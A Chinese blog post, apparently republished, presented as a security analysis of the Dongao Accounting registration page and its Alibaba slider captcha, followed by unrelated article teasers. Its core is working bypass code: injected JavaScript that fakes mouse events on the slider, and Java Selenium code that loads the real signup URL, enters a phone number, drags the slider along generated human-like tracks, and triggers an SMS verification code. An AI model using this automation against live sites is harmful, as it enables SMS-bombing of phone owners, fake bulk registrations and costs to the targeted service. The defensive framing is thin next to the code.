【东奥会计-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 东奥会计PC 注册入口

简介:“东奥会计在线”,是东奥时代教育科技有限公司(以下简称东奥)旗下网站,是服务于中国会计从业人员的远程教育与培训服务提供者;东奥致力于全方位服务考生,用平台铺就跑道,用品质成就梦想,
东奥会计在线在2004年被创办,2007年正式进军会计远程培训领域。它以创造客户价值为企业发展的驱动力,通过矩阵式、扁平化的管理模式,建立了以客户为导向的内部服务链系统,形成了信息快速沟通、资源同步协作的保障机制,并不断强化全员客户服务意识。以保障客户服务准确、及时,为客户提供专业化、长期与稳定的咨询、投诉、信息查询热线及相关网络在线服务同时,把传统教育资源、网络技术资源与个体教育需求整合在一起来创造教育价值。

在这里插入图片描述

二、 安全性分析报告:

东奥会计采用的是阿里的滑动条,
阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>

(function () {
    'use strict';
    /**
     * 休眠
     * [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒
     * @param desc
     * @returns {Promise<unknown>}
     */
    function sleep(time, desc) {
        return new Promise(resolve => {
            //sleep
            setTimeout(() => {
                console.log(desc, time, 's')
                resolve(time)
            }, Math.floor(time * 1000))
        })
    }
    /**
     * 监测节点是否存在
     * @param selector    CSS选择器
     * @param desc
     * @returns {Promise<unknown>}
     */
    function obsHas(selector, desc) {
        return new Promise(resolve => {
            //obs node
            let timer = setInterval(() => {
                let target = document.querySelector(selector)
                if (!!target) {
                    clearInterval(timer)
                    console.log(desc, selector)
                    resolve(selector)
                } else {
                    return
                }
            }, 100)
        })
    }
    function slide(id) {
        var slider = document.getElementById(id),
            container = slider.parentNode;
 
        var rect = slider.getBoundingClientRect(),
            x0 = rect.x || rect.left,
            y0 = rect.y || rect.top,
            w = container.getBoundingClientRect().width,
            x1 = x0 + w,
            y1 = y0;
 
        var mousedown = document.createEvent("MouseEvents");
        mousedown.initMouseEvent("mousedown", true, true, window, 0,
            x0, y0, x0, y0, false, false, false, false, 0, null);
        slider.dispatchEvent(mousedown);
 
        var mousemove = document.createEvent("MouseEvents");
        mousemove.initMouseEvent("mousemove", true, true, window, 0,
            x1, y1, x1, y1, false, false, false, false, 0, null);
        slider.dispatchEvent(mousemove);
    }
    sleep(1,'sleep')
        .then(() => obsHas('.nc_wrapper','has'))
        .then(() => slide('nc_1_n1z'))
})();
 
</script>

1. 模拟器交互


	private final String INDEX_URL = "https://passport.dongao.com/register?redirectUrl=https://www.dongao.com/";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);

			WebElement tabElement = driver.findElement(By.xpath("//img[contains(@src,'phone_num_zc.png')]"));
			if (tabElement != null && tabElement.isDisplayed()) {
				tabElement.click();
			}

			// 输入手机号
			WebElement phoneElemet = driver.findElement(By.id("phoneNumber"));
			phoneElemet.clear();
			for (int i = 0; i < phone.length(); i++) {
				char c = phone.charAt(i);
				phoneElemet.sendKeys(c + "");
			}
			Thread.sleep(1 * 1000);

			WebElement clickElement = ChromeDriverManager.waitElement(driver, By.id("Page3"), 10);
			clickElement.click();

			Thread.sleep(1 * 1000);
			// String errorInfo = "";
			WebElement btnElement = ChromeDriverManager.waitElement(driver, By.className("register_vericode_btn"), 10);
			if (btnElement == null || !btnElement.isDisplayed()) {
				boolean aliRet = AliClient.moveExec(driver, 400);
				btnElement = (aliRet) ? ChromeDriverManager.waitElement(driver, By.className("register_vericode_btn"), 10) : null;
			}
			if (btnElement != null && btnElement.isDisplayed()) {
				btnElement.click();
			} else {
				return retEntity;
			}
			Thread.sleep(1 * 1000);
			String msg = btnElement.getText();
			retEntity.setMsg(msg);
			if (msg.contains("s")) {
				retEntity.setRet(0);
			} else {
				System.out.println("msg=" + msg);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println(e.toString());
			retEntity.setRet(-1);
			retEntity.setMsg(e.toString());
			return retEntity;
		}
	}

	

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {
		try {
			// 获取滑动按钮
			WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);
			Actions actions = new Actions(driver);
			actions.moveToElement(moveElemet).perform();
			Thread.sleep(500);
			List<Integer> trackList = ActionMove.getTrack(distance);
			actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放
			for (Integer moveInt : trackList) {
				actions.moveByOffset(moveInt, 0).perform();// 移动
			}
			actions.release(moveElemet).perform();// 释放鼠标左键
			// 滑动结果
			By langCntBy = By.className("nc-lang-cnt");
			WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);
			String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;
			if (langCntInfo != null && langCntInfo.contains("验证通过")) {
				return true;
			} else {
				System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);
				return false;
			}

		} catch (Exception e) {
			System.out.println("AliClient.moveExec() e=" + e.toString());
			return false;
		}
	}

3. 轨迹生成(单轴通过)


/**
	 * 根据距离获取滑动轨迹
	 * 
	 * @param distance需要移动的距离
	 * @return
	 */
	public static List<Integer> getTrack(int distance) {
		List<Integer> track = new ArrayList<Integer>();// 移动轨迹
		List<Integer[]> list = getXyTrack(distance);
		for (Integer[] m : list) {
			track.add(m[0]);
		}
		return track;
	}

	/**
	 * 双轴轨道生成算法,主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}



4. 测试返回结果:

在这里插入图片描述

四丶结语

东奥会计作为老牌的会计专业在线培训机构,背靠北大这颗大树,技术实力雄厚,但在验证产品方面,不是自己研发而是采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/775555.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

有哪些有效的策略可以提升独立站的外链数量?

有哪些有效的策略可以提升独立站的外链数量&#xff1f;提升独立站的外链数量并不难&#xff0c;难得是不被谷歌惩罚把你的网站判定为作弊&#xff0c;正因如此&#xff0c;了解并应用GNB自然外链策略是个不错的开始&#xff0c;GNB外链的核心价值在于它提高了网站外链资源的自…

2024亚太赛(中文)数学建模B题Python代码+结果表数据教学

B题题目&#xff1a;洪水灾害的数据分析与预测 完整论文也写完了 第二问代码&#xff08;1、3、4问、还有论文见文末&#xff09; import pandas as pd from sklearn.cluster import KMeans import matplotlib.pyplot as plt import seaborn as sns from matplotlib import rc…

2024年软件测试岗必问的100+个面试题【含答案】

一、基础理论 1、开场介绍 介绍要领&#xff1a;个人基本信息、工作经历、之前所做过的工作及个人专长或者技能优势。扬长避短&#xff0c;一定要口语化&#xff0c;语速适中。沟通好的就多说几句&#xff0c;沟通不好的话就尽量少说两句。举例如下&#xff1a; 面试官你好&…

.net core 的 winform 的 浏览器控件 WebView2

在.NET Core WinForms应用程序中&#xff0c;没有直接的“浏览器控件”&#xff0c;因为WinForms不支持像WebBrowser控件那样的功能。但是&#xff0c;你可以使用WebView2控件&#xff0c;它是一个基于Chromium的浏览器内核&#xff0c;可以在WinForms应用程序中嵌入Web内容。 …

Science Robotics 麻省理工学院最新研究,从仿真中学习的精确选择、定位和抓放物体的视触觉方法

现有的机器人系统在通用性和精确性两个性能目标上难以同时兼顾&#xff0c;往往会陷入一个机器人解决单个任务的情况&#xff0c;缺乏"精确泛化"。本文针对精准和通用的同时兼顾提出了解决方法。提出了SimPLE(Pick Localize和placE的仿真模拟)作为精确拾取和放置的解…

昇思25天学习打卡营第9天|MindSpore使用静态图加速(基于context的开启方式)

在Graph模式下&#xff0c;Python代码并不是由Python解释器去执行&#xff0c;而是将代码编译成静态计算图&#xff0c;然后执行静态计算图。 在静态图模式下&#xff0c;MindSpore通过源码转换的方式&#xff0c;将Python的源码转换成中间表达IR&#xff08;Intermediate Repr…

电气-伺服(6)脉冲控制

一、脉冲模式原理&#xff1a; 运动控制器输出脉冲信号给伺服驱动器 伺服驱动器工作于位置模式 伺服驱动器内部要完成三闭环&#xff08;位置闭环 、速度闭环、电流环&#xff09; 脉冲和伺服控制环&#xff1a;脉冲的个数作用于位置环。脉冲的频率作用于速度环 二、脉冲的两…

ATFX汇市:美国大非农数据来袭,美指与欧元或迎剧烈波动

ATFX汇市&#xff1a;今日20:30&#xff0c;美国劳工部将公布6月非农就业报告&#xff0c;其中新增非农就业人口数据最受关注&#xff0c;前值为27.2万人&#xff0c;预期值19万人&#xff0c;预期降幅高达8.2万人。如果公布值确实如预期一般&#xff0c;美联储降息预期将增强&…

mysql 字符集(character set)和排序规则(collation)

文章目录 概念1、字符集1.1、举例1.2、常见字符集 utf8 和 utf8mb4 区别1.3、字符集 使用 2、排序规则2.1、举例2.2、常见的排序规则 utf8mb4_bin 、utf8mb4_general_ci、utf8mb4_unicode_ci2.3、使用 概念 在 MySQL 中&#xff0c;字符集&#xff08;character set&#xff0…

昇思25天学习打卡营第8天|ResNet50迁移学习

一、迁移学习定义 迁移学习&#xff08;Transfer Learning&#xff09;&#xff1a;在一个任务上训练得到的模型包含的知识可以部分或全部地转移到另一个任务上。允许模型将从一个任务中学到的知识应用到另一个相关的任务中。适用于数据稀缺的情况&#xff0c;可减少对大量标记…

【代码大全2 选读】看看骨灰级高手消灭 if-else 逻辑的瑞士军刀长啥样

文章目录 1 【写在前面】2 【心法】这把瑞士军刀长啥样3 【示例1】确定某个月份的天数&#xff08;Days-in-Month Example&#xff09;4 【示例2】确定保险费率&#xff08;Insurance Rates Example&#xff09;5 【示例3】灵活的消息格式&#xff08;Flexible-Message-Format …

Windows10删除文件有较长延误的修复方法

Windows10删除文件有较长延误的修复方法 问题描述处理方法 问题描述 电脑配置很好&#xff0c;但是执行文件等删除操作时很长时间才有反应&#xff0c;才会弹出是否删除对话框。或者将文件移动到回收站&#xff0c;也是同样如此。 处理方法 第一步&#xff1a;以管理员身份启…

gitLab使用流程

标题1.配置账户 git config --global user.name git config --global user.email mygitlabmali.cn 标题2.生成秘匙 ssh-keygen -t rsa -C “mygitlabmail.cn” 。 //输入命令后一直回车 &#xff0c;输入命令后一直回车&#xff08;密码可以不填&#xff09;&#xff0c;至…

国际上备考所有AWS云计算/IT证书的五大优质免费课程网站

最近越来越多的小伙伴来问小李哥&#xff0c;小李哥亚马逊云科技AWS认证大满贯是在哪里上课复习的呢&#xff1f;全部上付费课程那不是一笔巨款吗&#xff1f;小李哥这次来盘点备考国际上IT证书的5大优质免费课程网站(不只是亚马逊云科技AWS的课程&#xff0c;其他课程同样可以…

Jemeter--独立变参接口压测

Jemeter–独立不变参接口压测 Jemeter–独立变参接口压测 Jemeter–关联接口压测 从数据库获取变参数据源 1、压测计划处添加对应数据库驱动包 左键点击压测计划&#xff0c;进入压测计划页面&#xff0c;点击浏览添加数据库链接jar包 2、线程组添加 JDBC配置原件 填写数据…

技术驱动:探索SpringBoot的大文件上传策略

1.分片上传技术 为了处理大文件上传并保证性能&#xff0c;前后端可以使用分片上传&#xff08;也称为分块上传&#xff09;技术。 1.选择原因 分片上传&#xff08;也称为分块上传&#xff09;是一种处理大文件上传的技术&#xff0c;主要目的是提高上传的可靠性和效率。 网…

用requirements.txt配置环境

1. 在anaconda创建环境 创建Python版本为3.8的环境&#xff0c;与yolov5所需的包适配。 2. 在Anaconda Prompt中激活环境 (base) C:\Users\吴伊晴>conda activate yolov5 3. 配置环境 用指定路径中的requirements.txt配置环境。 (yolov5) C:\Users\吴伊晴>pip insta…

LeetCode热题100刷题4:76. 最小覆盖子串、239. 滑动窗口最大值、53. 最大子数组和、56. 合并区间

76. 最小覆盖子串 滑动窗口解决字串问题。 labuladong的算法小抄中关于滑动窗口的算法总结&#xff1a; class Solution { public:string minWindow(string s, string t) {unordered_map<char,int> need,window;for(char c : t) {need[c];}int left 0, right 0;int …

【手机取证】如何使用360加固助手给apk加固

文章关键词&#xff1a;手机取证、电子数据取证、数据恢复 一、前言 APP加固是对APP代码逻辑的一种保护。原理是将应用文件进行某种形式的转换&#xff0c;包括不限于隐藏&#xff0c;混淆&#xff0c;加密等操作&#xff0c;进一步保护软件的利益不受损坏&#xff0c;下面给…

Java并发编程知识整理笔记

目录 ​1. 什么是线程和进程&#xff1f; 线程与进程有什么区别&#xff1f; 那什么是上下文切换&#xff1f; 进程间怎么通信&#xff1f; 什么是用户线程和守护线程&#xff1f; 2. 并行和并发的区别&#xff1f; 3. 创建线程的几种方式&#xff1f; Runnable接口和C…